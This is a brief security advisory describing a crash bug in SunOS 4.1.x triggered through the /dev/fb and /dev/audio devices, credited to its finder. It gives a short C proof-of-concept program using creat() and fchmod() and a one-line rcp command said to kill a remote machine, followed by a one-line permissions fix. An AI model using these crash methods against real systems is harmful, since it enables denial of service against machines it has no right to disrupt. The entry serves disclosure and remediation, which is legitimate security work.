COMMAND

    /dev/fb & dev/audio

SYSTEMS AFFECTED

    SunOS 4.1.x

PROBLEM

    Roger Espel Llima found  the following three-liner to  crash SunOS
    4.1.x.  It works on  /dev/fb and /dev/audio on some  machines; you
    need permission to open the device.

    main(int argc, char *argv[]) {
      int fd;

      fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
      if (fd < 0) perror("creat"), exit(1);
      fchmod(fd, 0755);             /* BOOM */
    }

    Shorter method:

    rcp some_file xyz:/dev/audio

    This kills machine xyz.

SOLUTION

    Set permissions to be correct.